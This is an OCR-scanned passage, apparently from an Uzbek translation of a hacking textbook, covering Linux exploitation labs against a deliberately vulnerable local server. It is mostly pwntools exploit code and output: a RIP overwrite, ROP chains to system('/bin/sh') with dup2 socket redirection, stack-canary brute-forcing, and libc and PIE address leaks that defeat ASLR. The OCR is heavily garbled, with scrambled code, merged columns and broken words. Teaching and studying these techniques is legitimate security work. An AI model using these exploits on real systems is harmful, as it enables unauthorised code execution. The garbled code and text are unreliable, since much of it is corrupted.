NX: NX enabled

PIE: No PIE (0x400000)




T T il
i ice) i izini LI Starting program: ‘home kali/GHHEHv6/chll/vuin
Xizmat (service) |sh!ayolganilglm tekshirish uchun ufonda ishga tushiriladi Listening on 127,0.0.1:4446
va netcat yordamida ulaniladi: ) :
a netcat y RIP ni t|a:rntaI }'-:lel:l; e*tibor garatdik, ammo bu
" dalanishg : 13 ishin-
5 vuln & y c» 27 hitli ikkiliklardan foy &5 atamiz. E'tibor berish
[1] 68430 X bolula biz e b“ dan foydalanishga e’tibor gar omlari R bilan bosh-
Listening on 127.0.0.1:4446 bobda biz 64 bitli ikkiliklardan hundaki, ro‘yxatga olish n IP"ni qayta yozish
3 ne localvost 4446 2iz mumkin bo*lgan birmi?h_: f?l;iisﬁigi dan ﬁj},dalaniSh uchun R q
:;z;:j::;s;r:-.;ilﬂﬁmﬁm lanadi, Buferning to*lib ketishi . aif TCP serveriga ulaniladi va
Dy kerak. i oyna ochiladi, za! S g
fnvalid Password! = ; angl 0y ori .
S killall -9 vuln Gdb ishga tushganda, yang amida 200 bayt yu
(1] + killed . Auin

rug'i yord
Pwntools loop pattern buyrug’t ¥o

5 T e localxost 4446 ik e
Bunda NX (non executable stack)ni chetlab ﬂ‘lishga e'tibor garatish uchun 8 evelic -¢ amd6d 200(ne loct it ko ‘rsarmalariga riova il
p . i . . . : yrnail : ;
manzil ma}.rdgm Ta"dﬂn‘Ii?-EISI}’ESI{ASLR]“n‘chirib qﬂ'}’i]ﬂ&i va kl.‘.‘}"il'l uni | |.4-la- . T j':m'l'n'f,‘il'l' frh’uf’ﬂ.‘u.u!. 1, ' :'\'ﬁ””"h hosil LHHH.J‘JI.
boratoriya ishi uchun qayta yoqiladi; Eslatma: agar cyelv pilan o roatilganligiga t di RIP'ni
Bty flfliflg.'l.:f"lli.l'nr* M s strcdor DL :ot ko'rish kerak. Endi a
- ; ilishini ko'r1s s
S echo 0| sudo tee -P*"OF»’-'EI'L'kmre!.'i-z.-m."anu':u_m_ Space d segmentatstyd buzlhs:; ini bilish uchun © matilgan
Gdb ishlayotgan oynads S0 ich keraklig
. GDB’nj sozlash Qayta yozishdan oldin qﬁ“i;idnn t‘o}rdalﬂ“‘lad]‘
Bunfia GFEF plaglvmdan. foydalanilad;, Bunda uning GitHub sahifasida tasvir- GEF modelini qidirish buyrug (), reason: SIGSEGV
langan o‘matish bosgichlarin; bajarish mumkip. 1 stopped 04017 MO
j’fJI"Jj' i 1. Neame: “vuln". !
8 bash -¢ “Steur! f5SL) —
[#0] 0x4012f7 — auth()
ligi f."v"ﬂfﬁﬂﬁﬁ'ff qf Tkr:,p“ning yuklanganligiga va ~/.gdbinitga qo'shilgan- ver>
giga is 05l qilish uchun ilad;- :
g 9 2db ochiladi; pattern search Srsp
S gdb -q

[+ ] Searching for m:ﬂ; little
: i [ ‘waf” (] Faund at offset /2
GEF for lime ready, vpe gef 1o stary, gef config’ 1 confioure
96 commands loaded fur GDE 10}, Hignire

ey
endian search) fikel

; kevin killall
; -f.'.'rfff”"“f”” ;
8ef> ; relly dait ¢ 1gz wneir-
' 0 NE. B i el ST P
ef 20202101 03-gir using Pythoy engine 3.9 -I:f{.l’!f‘”“f‘ % Ik-” L’?Hmd'i va keyin Xud :
5, Eslatmaz Dastur ishdan ¢ :honch fosil g1
= = Lk rered IS
[ . - "‘.-" R e f:”‘fiﬁﬂj”ﬁ A .I'I )
Zalfdaﬁtur k . . 2 ; _‘ | f”l'j“” r_a._!'{._:ﬁ His '.f.l'li“ i :
ijozi ulan ni; Ptﬂ:’li'lﬂqlil i ?gam uchun, quyida kﬂ‘rsalilganidek. yangi TCP lar bitun aclly ayta ishgd pushin o }rﬂZiSh hoshlanadi
;'uim 4 hjgg an su ng, o'ratilgan fulluw-fnrk-mnde child buyrug‘idan foy- | - da]anib eksplot
alanib, child jarayonining Xatoliklarini hary Tichin ol foy
araf qilishin; gdb’ga yetkaziladi: ' .2 periotardan
S Endi mavjud bilim
or linux ready, fype 2ef 1o stary 2ef conf from pwn import bl . )
A 8 lop TP - , o=l Yo srror
of wfrmmmis loaded for GDR 10.4 80.20210; 3-git u:';:{f!f,:;u" i contextfos= "linwx :!F;I{T P Jevel= ¢
Reading symbols Jrom fvuln,.. g engine 3, r = remote(*127.0.0.1"
(No debugging symbols found i Houln) Payioad = b"A"*120
payload +=b"BBBB payload)
2 oy 00m executable tack) — bajarilmaydigan ye rsendafter(" Password: 259
ASLR (address space layout randomization) — manzil maygdon; randomizatsiyasi

258




Python skripti saglanadi va ishga tushiriladi va gdb oynasida RIP to'rtta B
bilan gayta vozilganini ko*rish mumkin:

[!] Cannot access memory at address (42424242

T

; ; = threcds —
[#0] 1d 1, Name: “vuln", stopped Ox42424242 in 77 ¢ ), reason: SIGSEGY
gef> "

Laboratoriya ishi 11.2: Qaytishga yo*naltirilgan dasturlash

_ (ROP) bilan bajarilmaydigan stekni (NX) chetlab o*tish.

GNU gee kompilyatori stekda kod bajarilishini

sidan boshlab stek bajarilishini himoyalashni g

dart bo‘yicha yogilgan va quyida ko'rsatilgani
o*chirib go*yilishi mumkin:

oldini olish uchun 4. 1-versiya-
malga oshirdi, Bu xususiyat stan-
dek —zexeestack belgi yordamida

5 gee vulne -0 vudn mxlreadelf -l viln ny grep GNU STACK
Boe : M _Nxigry -A41 GN I 8§ CK
GNU STACK O0000O0G00000000 el 000 MM
e NNHOGONNIOON00 e OOD0000000000000 RW o i AR

Rl
§ gee -z execstack vuln.c -0 vuln nx & &1
i I ; u c readelf -] v . -
GNU STACK  0x0000000000000000 if -l viddn_nx|grep -A1 GNU STACK

f
T e T 0000000000000 Ru_fﬂ,ﬂ-’g" 00000000000 x00000000000000080

Fnr.::ﬁ]i: hllrgrj}:dhi ?;ryuqli_a RW bayroqlari (ELF ~ Executable and Linkable File
elgisida, tkkinchi buyruqda (-z execsack belgisi bilan) RWE belgi ELF

— Executable and Linkable File Format beloic;
el Nt poa iy _ e
yozish (W) va bajarish (E)ni bildiradi. gisida o*matiladi, Belgilar o*gish (R).

NX yoqilsa, X bobda ishlatilgan

i obi i alosiskaie § y e
himoyani chetlab o‘tish uchun bir qobiq kodli eksploit ishlamaydi. Biroq bu

nechta usullardan foydalanishimi i
Bunday holda, biz qaytarishea vo*naltis n loydalanishimiz mumkin.
o'tamiz. g yo'naltirilgan dasturlash (ROP) bilan NXni chetlab

ROP - bu return-to-libe texnika
tirada topilgan kod bo*laklarini baj
langan. Gadjetlar odatda RET ko‘r
yoki CALL bilan tugaydigan gadj

:lfl.!]ng vorisi. U gadjetlar deb nomlanuvchi xo-
Tsh orqali dastur ogimini boshqarishga asos-

satmasi bilan tugaydi, lekin ba'zi hollarda JMP

; etlar h i !
Zaif dasturdan muvaffagiyal rham foydali bo*lishi mumkin.

ning RIP manczilini qayta yogidy ve - e o1 Uchun system() glibe funksiyasi-
bo*ladi. Argumentlarni 64 by; 'I(kE} argument sifatida /bin/sh*ni o‘tkazish kerak
rejimdan farq qiladi, bund o Il{ ikkilik fayllarda funksiyalarga o*tkazish 32 bitli
rini ham boshqari[aéi 64 h_sfb_bmhqan]sa_ ﬁ-‘“"Si}’a chagiruvlari va argumentla-
da uzatiladi: RDI, RSi_ RD; IR.[]:n;r I;r:a argumentlar registriarda quyidagi tartib-
ikkinchi argument) va hﬂk&z;) bu‘lf'ldi, +R9 (bu yerda RDI birinchi argument, RSI

Gadjetlarni qo*lda qidirish o"miga,
noriented programming) zanjirinr
Pwntools yordamida eksploit Yoz

Gdb ishga tushiriladi va uni C

S edb vuln - -ex ™

C

Program received sig

kerakli ga;dgétlmi topish va ROP (retur-
yizni yaratish jarayonini soddalashtirish uchun
b tugatiladi. .
TRL-C tugmalari bilan to*xtatiladi:

sel ﬁrﬂm'{;ﬂﬂ'&drm:fc child” -ex 1"

Listening on 127.0.0. 1:4446

sl SIGINT. Tinterrupl.

(#1] 0401497 = main)

gef>

Endi libe ning asosiy manz!

gef>

vimmap lihe

[ Legend: Code
Start End Offser Pe

gef>
o
Continuing.

Keyin eksploitga qu

I. Vmmap libe

damida libe yuklab nlinndi-“ pin / sh”) rop 2%

Heap | Stack |
e Path
O800007 7 def000 Ox00007f1 7e

|lari ko‘riladi va bajarish davom ettiriladi:
a

(00 ﬂr!‘HHJEHHJt‘Hif}HﬁFHJI'MHJ pe- . Aibe-2.31.50
4

. lar kiritiladiz . —
yidagi n*zgﬂgalusrlﬂhiqishidan olingan asosiy manzil yor
de

(0x0000 jiini yaratish uchun Pwntools rop

2. Tizim,ya’ niSystE'_“'[
Vositasidan fﬂydﬂianiladli

Srom pwn import ®

contextios="linux .
libe = ELF{/Mil/x86_

ﬂﬂ’h = 1|:I”Idﬁ4 ."I.

fif=linux
m?ﬂy?d:;ﬂ"

—g:m-"!l'br.m 6

libe.address = Ox00007

rop = ROP(libc)

mp-5_‘.'asremrm-_wr.’ifar.ls‘II o
log. info(f" ROP Chain. ni ¥ = T

carch(b i sf; J;J
)
dumplls i

r = remore(*127.0.0.1 "

Paviead = b7 e 2]

payload += b_wesfrﬂml o ayload)
':-Tn'ru."u_,"?erf“Pmm-.'ﬂﬂf-  P%

tinteractive()

B -

c



So*ng zaif dasturni gdb’siz ishga tushiriladi:

5 valn
Listening on 127.0.0.1:4446

Endi exploit yangi oynada ishga tushiriladi:

3 python3 exploit] py

[*] Nibx86_64-linux-gnulibe.s0.6°

Arch: amdfid-64-linle

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

[*] Loaded 190 cached gadgets for Aib/x86 Od-linux-gnu/libe. so.6°
[*] ROP Chain;

OxO000: Ox7f{if7e] 5796 pap rdi: rer

Ox0008: OxTfT7(79152 [arg0] rdi = 140737353584975
OxO010: Ox7fiii7e37e50 svstem .
Sid

L1

Bir dagiqa to*xtang! By yerda gobj
di. Birog uni nazorat gila olmaymiz!
rish imkonsiz, ammo zaif server jsh]

q (shell) bor, lekin uni boshqarib bo*Imay-
Ekspluatatsiya oynasidan buyruglarni baja-
ayolgan oynada buyruglarni bajarish mumkin:
5 viln

Listening on 127.0.0. ] -4446

£ id

uid=1000(kali gid=1000(kali) groups - 1000¢kati), 24(cdrom), 25 floppy), 27 (sudo).

1 !?.umng sababi, qobiq standart kiritish (STDIN — standard input), standart
chigish (STDOUT - standard Oulput) va standary xatolik I_'STDER?I = standard
::rrcir} uc‘hunt 0,1 va 2 fayl tavsiflovehilari bilan 0'zaro alogada bo‘lganligi ;abah”
sodir bo*ladi, lekin rozetka (socket) 3-fay] tavsiflovchj idenliﬁkatﬂ%idangrn}adma_

nadi va accept .tr'a?fI tavsiflovchi 4-dap qn*llaniladi. Ushbu muammoni hal gilish

tavsiflovchilarni takrorlaydi.

Jrom pwn impory *
context{os="linux’, greh= "amdéi4)
libe = ELFy “ﬁihfxﬂﬁ_ﬁ#q‘inn;r-gnufﬁbc.sa 6"
libe. address = 0x00007 7 defoon ‘
rop = ROP(libe)

rap.dup2(4, {))

rop.dup2id, 1)

rap.dup2id, 24 % N e
”’-”--"".l-'.'-'u'mrm',l.'.'rﬁhr..st*trr't‘.’lr-‘l bin'sh J”
log infotf" ROP Chain: u,'mp.ffnmpfifl ’. }
r = remote(”127.0.0.17, 4446, level=error}
pavioad = h"4"*120

pavioad - = hviestrop) :
r.sendafter) “Password: ", payload)
rinteractive)

Endi cksploit qayta ishga wshiriladi va u ishlayotganligi tekshiriladi:
ndi eks =

§ pyvthon3 exploitl py

[*] ROP Chain: s
Ox0000; Ox7fili7el ?ﬁn?{ pop rsi; Te
00008 Ox0) fargl ] rsi =0 -
O0010: Ox7(ifi7el 5796 pop rdl.
Ox0018: Ovd Jargl)] rdi =4 :
Ox0020: Ox7ffffTede770 dup= ’
Ox0028: Ox7fff7e1790f pop Tt 7 .
Ox0030: Ox ] fargl] rsi =1 e
00038 (x7ffif7e 15796 pop rdt It
0x0040: 04 [arg] rdi =4
Ox0048: Ox Tfffi7ede?70 dup= -
Ox0050: Ox7fffi7e1 790/ pop o
0058 0x2 fargl] s
0060: Ox7(ili7el 57 ?ﬁ !Nj’ !
Ox0068: Ox4 fargl] ?;{:r.! 2
Ox0070; OxTfiff7ede 770 AP= |
{78 u‘.?ﬂﬁn-;ﬁ?yﬁ pop rull; ;‘-= }Jﬂ?-?‘?'j'iij‘\;p?#
0x0080- Ox 71779152 [arg0] T

(x0088: Ox7ffi7e3 7eS0 systemt

5 id

wicl= 1000 kalil

-,d f T rel

: ), 27 suddo)...
i) groups= 1000kali), 24(cdrom). 25(fiopps
; rkali) grovip:
gid= 1001

himoyasini chetlab o‘tish-
a NX stek etk
i i i chetlab o‘tishning boshqa
Bunda oddiy ROP 2008 B0, iy erakki, NXai chetial 3 ey e,
g4 muvafTaq bo'ladi. Shun ol qimdigan xm‘l ¢ = lgan holda yangi boshqe-
usullari mavjud; m“Sa.mn:imq‘ qilish yok! ik i chagiruvidan foydalanish
uchun mprotectga _‘CI“‘ ;ga tish ychun sigreturn
riladigan kontekstni ©
Mumkin,

anjiri yordamid

fizim

‘3(13




e an Laboratoriya ishi 11.3:

tack Canary” mexanizmini chetlab ot

, _ sh

" Iz;:;ﬂ}:]afd. sl_ek buferlari va kadr holaij ma’lumotlari o*rtasida “canaries”

joyl g ,| hs lizimiga asoslangan. Agar bufer to'lib ketishi natijasida RIP gayta

yozis g,afdarflkal qilsa, canary buziladj va qoidabuzarlik aniglanadi

rramgup}:inatilr ﬁsam];i;lpca?;wnmg saql::mgan framework ko*rsatkichi — SFP (saved

e b oldida l:]an_da}f Joylashtiri]ganligining soddalashtirilgan di-
igan. Esda tutish kerakki. SFp (saved frame pointer) qo‘ng'i-

roq funksiyaning stek frameda asosiy ko*reatl:
4.5 0sty ko‘rsatkich - RBp (restore the base pointer)

SFP(saglangan frame ko*rsatkichi) - RIP

§ gee -no-pie ~fstack-pratecior vitln.c -6 vuly

Endi yozgan eksploitni is

- hga tushirish vq «fe
ko*rish mumkin, lekin s 2a tushirish vq sle

kning can ' ini
s ary himoyasini amalda
ekspim:nmg nusxas X '

N yaratish kerak:
S cp exploit] py exploit2 gy

S prthon3 exploir2 py L

(%] Hibx86 64-limex-gnudibe
Arch: amdbd-64-linle i
RELRO: Partial RELRD
Stack: Canary found

NX: NX enabled

PIE: PIE enabled

sa.6'

5

Kutilganidek, eksploit muy
nidek, “stek buzilishi anj

& Avuln

Listening on 127.0.0 1:4446

o srack smashing detecied *»+.

affagiyatsiz 1

qlandi **+. tugqripgim > HUKi bu yerda ko‘rsatilgs-

Xatosi bilan child jarayoni chiqdi:

ferminategd

Ushbu himoyani chet|

| ab o'tish, yn: ;
yoki saralash kerak. Canary dastu’ Uni qayta tiklash uchun canarydan qochish

% 6 . & E - 3 m. i
ko pt_:shh]ht} lganligi sabablj har b l }FHITIHShda Pt s g 8
naryni saqlaydi. Biz bu xg : . an .
1Br::J:lE force strategiyasi quyidagier. .2 ©r9ali o'tish uchun foydalaniladi-
- L-anaryni buzishdan oldip, ancha bg i ary
SFP va RIP oldidan qo‘yilgan, dancha bayt yozish kerakligini aniglang. Can

lgan baytni topish. Agar bayt
jarayoni tugaydi. Agar bayt
™Ini qaytaradi.

db bilan ochamiz va canaryni tekshirishdan oldin to*xtash

2. 0 dan 255 gacha takrorlash, kcyingi_ ruxsat ‘eﬁ
topishga yo'l go‘yilmasa, cmlary.huzllaq! ve E.hﬂ'j o
t0'g'ri bolsa, TCP server “yarogsiz parol” ("Iny alid Pass

Avval dasturni g
nuqlasi o*rnatiladi:

S gdb . vuln -q -ex "sel ﬁ:ﬁmr-ﬁarka!.‘rnxir: child”

gef>
disas auth : I
Dump of assembler code for function A,
Ox0000000000401262 <+0>: push rbp

Ox0000000000401263 <+ 1>: mov rbp! h:fr:ﬂ
Ix0000000000401266 <+4> sitb rsp.0x RD PTR [rhp-0x84].edi
Ox000000000040126d <+ 112 mov Do FORD PTR f5:0x28
OxO000000000401273 <+17>: mov ”“‘.QLD PTR [rbp-0xS].rax
Ox00000000004012Tc <+26>: mov are :
Ox0000000000401280 <+30>: xor eax.eat

rsi, QWORD PTR [rbp-0x8]

Ox0000000000401321 <+ 191> "“.::.- i QWORD PTR fs:0x28
Ox0000000000401 325 <+ 1957 U0 134

+ j:—
- jo Ox401335 <auth+21 2
Ox0000000000401 32¢ <~ _;ﬂ;; : ‘i,:‘rixm-mafl’?ﬂ g< stack chk. fail@pit>

-'-i'.'l.'ﬂl"J!'J‘I'JI"JH:‘J‘HFJFJJ:‘H.?.W <
Ox0000000000401335 =~ =20 3
(x0000000000401336 <+ 21272 1¢
End of assembler dump.
gef>

b Yauth= 193 .
Breakpoint 1 at Ox401325
gef>

i

Starting program.
Listening on 127.0.

L2117 leave

fame 'A-uh"{;‘HHl.*ﬁ chilvuln

(1.1 :4446

£ iladi:

q oynadan yuborl

Endisiklik shablon (eyclic pattern) boshqa oY
st 4446

3 evelic ¢ amidtd ."‘ﬂf{;m- Jovalvast 4

User Access | lﬂr{ﬁmnml

Fashoa; i buzgan 8 baytni ushlab turganini

RSI canaryn ha bayt yozish kerakligini

; ; 1Z. ;
Endi gdb oynasiga 4320 V. dan oldin gand
ko*rish mumkin. Canary™ qaye rug‘idan foydalaniladi:
bilish uchun shablon qidirish o

gef> pattern search $rsi
oy Sfﬂ-“:‘fn'ﬂ'g,?_-" s?r?ﬁ.r‘ﬂ.’e-undmn search)
[+] Found at offset /=

Jikely

‘Zﬂf‘




Eksploit modifikatsiya qilinadi (0'zgartiriladi):

Sfram pwn import *

# Lab 11-3: Defeating Stack Canaries

# gee -no-pie -fstack-protector vuln.c -0 vuln
confextios="linux ", arch="amd64’)

O def exploit(payvlioad, imeractive =Falye):
r=remotef"127.0.0.1", 4446, level="error '}
r.sendafter("Password: , pavioad)

ry:

a

if rrecvrepeat(0.1){:7] == b" Invalid"
returan True

except EOFError:

@

return False

Sinally:

if interactive:

rimteractivef)

else;

relosef)

Odef leak_bytes(payioad name);

leaked bytes = (]

;;ug: ess = log progressiname, Jevel - logging WARN)

for _inranger8):
@

Jor i in range(256) -

L7 ]

if exploitfpayload + ps(ij):
0

pavivad += p8yi)

L5

leaked byres, insert(0, hexiil)
progress.status(repr(leaked bytes))
break o
,;ngress..murcs.ﬁrepr.r leaked bytes))
og.info(f"'Leaked = fhex(

-, {hame} Hre;rrm‘i-frpqn'!mu."ﬁ&- Dy
return pavioadf-§.: |

hl.ﬁr = ELF( “Nib/x86 Od-lime-gnn/lipe 50.6"
libe.address = (x00007f7demonp
rop = ROPtlibe)

rap.dup2(4, 1)

rop.dup2f4, 1)

rop.dup2(4, 2)

mp.syrrcmmer.'."-’fE:c,.rearchf’b"r’binf.rﬁ "))

log.info(f"ROP Chain:\n (rop.dump()} )

:ﬁﬁ}

pavioad = b"A"*72 i
pavload = leak_bytes(payload, “Canary ]
pavioad + - pd(OxBADCOFFEEODDF 00D} #SFP

pavioad == hyvtesirop)

Exploit (payload, True) n

t — eksploitga kiritilgan a‘zgarishlmi k.ﬂ‘ﬁ.b cluqxshd‘a, Bunda
ikkita areumentni gabul qiladigan exploit fqn}:siyam ya_n!a—:rit: y:.xk mslj.xsh uchur}
foydali ;fuk va interaktiv rejimni faollashtirish keral_chgw ko rrsatadlga_n helg:l
y.—,;y_i[udi_ TCP serveri “Invalid”ni qaylarsa, bu funl-:_swa I.lllal?ﬂdl, f’n;-,_rdfﬂ! yukni
yuboradi va True amalini gaytaradi. Bu joriy canaryning haq:gw El'iﬂ.lll.lglﬂl angla-
tadi: aks holda, takrorlashni davom eilirisl? uchun False amali tasvirini qa?*t-ftradz.

Bunda ikkita argumentni qabul qi!adigan Ieak_hytﬁ ﬁmkm}_rasn ?fla (;1_1 E}E
dali yuk prefiksi va olishga harakat q1l-.?y—::-t‘gan baytlaming nt;m| }'DZ]I a ; -
ta takrorlashni amalga oshiradi (8 baytni olish uchun). 0 di.m ..5;5 g;c m‘qu n: a-
li yuk va joriy bayt kombinatsiyasi (payload +|¢“"E“f_h} t"‘{’-':'“‘ }iuh:::r?j']‘ gar
exploittrue amalinini qaytarsa, bunda bu baytni fﬂ}’d*ihl yuk 11:1'? s ; a ': ‘["]ﬂ Il:ﬂl
leaked bytes gatoriga saqlanadi. Jarayon tugagandan so‘ng, funksiya leaked_by-

“ qamﬁ?:iqag;arilaleaked canary -+ 8 to*ldirish bayt + oldingi ROP zax_rjir bilan
}*angl?i;hy;;jral? y;k yaratiladi. Nihoyat, anirg_i fu}ffdali.?:u%: hi?a?ﬂilzﬁiuatalmya funk-
siyasi chagiriladi va interaktiv rejimni yoqish lﬁe?k |_4}g,| mi‘;ﬂ . lus];iﬁ!adit

Bir oynada zai f dasturni, boshga oynada explore2.pyishg

Endi navba

5 pvthond exploit.py
] Canury: [0x76", ‘Oxde * 10, ‘Ovaf”, Oxi e ‘el ‘Oxee’, Ox07]
! anary. o« :
;",I’ .f,n.'t:.l'u;;‘ Canary = 0x768el taflceleell
e i = 000 kali), 24(cdrom), 25iflopp). 27 (suda)...
i) = kali) groups

wid= 1000¢kali) gid=1000( £

ar amalga oshirildi. Bu yerda canaryni hrula;-fnrcing
Bu eksploit endi eksploitni kamaytirishning
hisoblanadi. Ular NX va stack kanareykasidir.

)ni yogiladi va chetlab o'tiladi.

Yugorida barcha hz‘lrakallyl_ .
bilan tiklashga muvafiaq bo mdii.-
ikkita usulini chetlab o‘tishga qo b
Keyin ASLR (Address Space Layering
a ishi 11.4: Ma’lumot sizib chigishi bilan
ASLR’ni chetlab o“tish. o -
.ring (ASLR) «otirani himoya qilish mexanizmi bo 1|.b, u

Address Space La}*l:.rrli ilf-'k' yig'ma va umumiy nhygktlam tztsudlf?y mmbga
REfINRgR0E m{g)mm:;zla}ini kutilmaganda tagsimlaydi. Eksploitda libc asosiy
soladi va mmap() Xart<s

i n buen
manzilidan foydalandi, lekif sy

funksiyalarining manzill

Laboratoriy

di ishlamaydi, chunki dup2, system va /bin/sh

‘ "IT..':.|




Birinchidan, ASLR (Address Space Layering)ni vogiladi va exploit2.pyni
exploit3.pyga nusxalanadi:

Secho 2 | sudo tee iprocisys, kernel'randomi=
§ cp exploit2.py exploit3.py

€ _vu space
Ikki bosgichli eksploit
chetlab o*tish mumkin,
1-bosqich
I. Stek keneries mexanizmi sizih chigiladi.
2. Ikki argumentli PLT write funksiyasini

= BII"II'IL‘I'I] dargument — mlj(}ZimiZ{ia‘n ol ingan Ina‘IUmutni ﬂ;qiﬁh uchun 4 raqa-

rm {c!abu] qilin{g,an ~ accept fay] deskriptori) asos deb hisoblanadi. Esda tutish
Jm?Ju, bu bosgichda dup2 dan foydalana olinmaydi, chunki uning mangzili hali
anigmas.

yaratish orqali ASLR (Address Space Layering)ni
chagiradigan ROP zanjiri yaratiladi:

— Ikkinchi argument - GOT Yozuvining mangzilj.

PLT (The Pl'nl:t‘.“dl::re Linkage Table) va GOT (The Global Off'set Table) nima?
Protsedura havolasi jadvalj (PLT) ELF faylining kompilyatsi
o*qish uchun yaratilgan bo*limj bo‘lib, u rezolyutsiyanj g P ; .
gilamni saglaydi. U asosan anzillarini hal gilish uchun
! : qtida chagirish uchun javobgardir. Global
ofset jadvali (GOT) dasturni bajarish jarayoni : : BALGIL. Ly
. ; : . Yonida d *lov dan
libc funksiyalari manzillari bilan to*ldiriladj. o vl mes
- ?v-’lilas?;alr?& VL‘L“": _t:asturini k:‘mP“}’atSi}'a qilinganida, yozish funksiyasi wri-
clapit sitatida Kompilyats;j ilinadi v; o . j-
dagi?ami bajeradi piiyatsiya qgilinadi va dasqyr Write@pltni chaqirganda, u quyi

L. write funksiyasi manzil;

2. Agar bunday yozuy ho'|
saglash ucl':t_in dinamik bog*lovchi bilan muvofiglashtiradi

3. U write@gotda saqlangan manzilga ruxsat beradi vz; o‘tadi.

Qisqa qilib aytganda, Write@got manzilin; ; ; .
murojat qilinadi. Ushbu libe manzifini oghkp gjjon 7. LS Uehun write@pltga

: , oshkor gilish orqali bu yerda ko*rsatilgani-
dek, <leaked address>ni <address of ghe wpi, symbob>dan ayirish orali [ibc
asosty manzilini aniglash mumkin: y q

» U funksiya manzilini olish va uni GOT'da

§ readelf -q Aib/x86 64-limux-gnu/libe

178: 00000000000eef20 157 i pype ISP —Write

EAK DEFAULT 14 Write@@GLIBC 2.2.5

2-bosqich

ishine: . ini ~/GHHv6/ch]1 papkasida
topishingiz mumkin. By yerda fayldag; eng muhim o*zgarishlar kel ﬁr“;mf:

elf = ELF(".Aunin") : L
libe = ELF(*Aibx86 64-limox-gnu/libe.50.6")

g sl
paviaad = b"A"*72 —
savioad + = leak bytes(payioad, anar. -
,J:ﬁu.r-‘umf t= p6di0xBADCOFEEODDFO0D) #SFP
sl rap = ROPtelf) :
Os/ rop.wrire(4, elf gorwrite) i
n‘rﬁ.; ;'a:.l‘gff"ﬁ.';uw | ROP Clain: nfs -’_mp.-:fumprul’ jk: -
r'!.’f.i..k{.';il write exploitpayioad ‘ !:-_r{i:xfx{_:c::p.i. ea
®libc.address = leaked write -Ifr.ﬁr,a;. m:. 0 :-: :J
log.info(f"libe_base == Mhextlibe.address);
52 rop = ROP(libe)
52 rop.dup2(d. 0)
52 rop.dup2(4. 1)
52 rop.dup2(4. 2) e i
52 m:: systeminext(libe.search(b !:ml sh !::;I i
:fr: 1 :'nﬁ.:-;.l" ‘Stage 2 ROP Chain: njss_rop.c -Iﬁ.,:‘.,
:.tl::l-fl:-.r'ff;.:ﬁ!!'hm:f + bytes(s2_rop), interacliver

SRR jirini qurishni
W hagiruvi uchun ROP zanjirini qu
e ite (4. write@got) oy 1adi. 2-bandda. explo-
I‘hmq."'.hda \;:11 Ffvnmnls ROP vositasidan t‘n}’dalamlhadL éhlzaga s hi:}ob-
SUdd“mihE'm? SliI ;ih chiggan write@got bilan Qayégﬂé"::‘;;“e;%i.
I Lr, 5 e : H s F: ) "
;’:El :ili":r-lbilisi“chi bosqich yukini qurish/bajarishda

S python3 exploitd. py

f’f lihe hase = f'.il_t?fﬁ.’nl'f-'d'?fﬁﬂf.i‘

.I i), 24 (cdrom), 23¢ GIP_I'J,J?FIH:."M_._
i il Jo00kali) mup.ir=J'ﬂﬂﬁr.ﬂ'm’:.i,}-fr: drom), 25(flog

wid= 1000 kali} gid= g

hi 11.5: Ma’lumot sizib chiqishi bilan

4.0 hﬂiﬁﬁh' )
P1E’ni chetla : tushirilganda
dent Executables (PIE) d_m“urph;-sjﬂ;:;g;er::ishgf yor-

Position Ind ope Z'ﬁ joylashtirish orgali RDd ujhuv.hqa xotira manziliga
s e 05 [I:im :.::ig Jasturni ishga tushirganda, .

.. ]']ﬂf 53 ar ¥ ) = 5 "
dam bcm.d ; dress space layout ranfinmlzai_l-f:-?}}'ﬂql:iad'-
yuklanadi. . da ASLR (Addr - bir xil xotira manzilida yuklan-

Oldingi laboratory? <ababli, dastur har doim Ir'rin'r;i yaratish juda oson edi.
lekin PIE o*chiril ganllglmga olib keladigan R?P zjm}rga nusxalanadi:
ganligi sababli, libe "’Ig:; va explore3.pyni explore®.p
Endi PIE ni yoq!

iln
rufn1{-_..ﬂ'|.".|’

Laboratoriya 1S

A ¥
§ gee -fstack-protector VT
§ cp exploitd.py exploitd.p}

< 269

|



- - :

Agar exploit3.py ishga tushirishga harakat qilinganda, u muvaflagiyatsiz
bo'ladi, chunki eksploitlash dasturning asosiy manzilini bilmaydi. Agar dastur-
ning asosiy manzilini aniglashga yordam beradigan sizib chiggan ma’'lumotlar
topilsa, bu himoyani chetlab o'tishi mumkin. Shuning uch
strategiyadan foydalaniladi:

1. Canary, SFP va RIP manzillarini olish uchun leak_bytes funksiyasidan foy-
dalaniladi. Bunda RIP sizib chigishiga (leaking) qiziqiTadi, chunki avtorizatsiva
(auth)dan so'ng u dasturning asosiy funksiyasiga qaytariladi,

2. Dasturning asosiy manzilini <Distance
RIP> olib tashlash orgali hisoblanad;.

3. Natijani elf.addressga belgilanadi,

0 Exploit4.py faylning to‘liq manba matnini ~/G

mumbkin. Faylga kiritilgan eng muhim o'zgarishlar:

un bu yerda quyidagi

to Program base> dan <leaked

HHv6/ch11 papkadida topish

elf = ELF{".Avuln™)

libe = ELF{Aibiv&6 Gd-linux-gnulibe. so. 6 )

payioad = b"A"*72

pavioad += leak_bytes(payload. "Canary")

Opavioad += leak_bytestpavioad, "SF.’-""',J

Bleaked rip = ub4(pS(0x6d) + leqk bytespay, “RIP™I(T
log.info(f"leaked rip == thex(leaked -r:'p:??'rfl - A1)
®clf address = leaked rip - 01564

sl_rop = ROPfelf)

sl_rop.write(4, elf got.write)

|-l:‘]a can'f'lrydap ki:ym_ SFPni uzatiladi; Rip uzatishni davom ettirish uchun
foydali yukning bir qismi bo'lishi kerak. ASLR kichik bauni e ligi
uchun RIP o*tkazib yuboriladi va kichik bayt 0x6d bj] '!':'1n| 0*zgartirmas
qachon o‘zgarmaydi: Han yoziladi,

5 gdb g Svuin
gef>

disax main

Ox (000000000001 568 < +

5425 pall 2
Ox0000000000001 56d <+ 547 1275 <auth>

347> P eax, (y ]

| , 3-bandda asosiy manzildan RIP gy, alishj
olib tashlash orqali dasturning asosiy ma?mill?l:

3 va dasturning asosiy manzili aracido.:
| nzili orasidagj
' 1. Dastur oynasida, /yy] & masofan

gacha (leaked) bo‘lgan masofani
!SD’c_JIanadi. Rip tarqalishi (leaked)
I olishning bir usuli hisoblanadi:

nni ishga tushiriladi,

2. Exploitd.py faylini ikkinchi oynada bajariladi. Agar eksploit ishlamasa,

tashvishlanishning hojati yo'q. 1 o
3. Uchinchi Oyna ochiladi va gdb ishga tushirilads:

S pdh -p “pidof vuln '
4. Vmmap vuln buyrug'i ishga tushiriladi:

gef>
Ve vieln
[ Legend: Code | Heap | Stack |
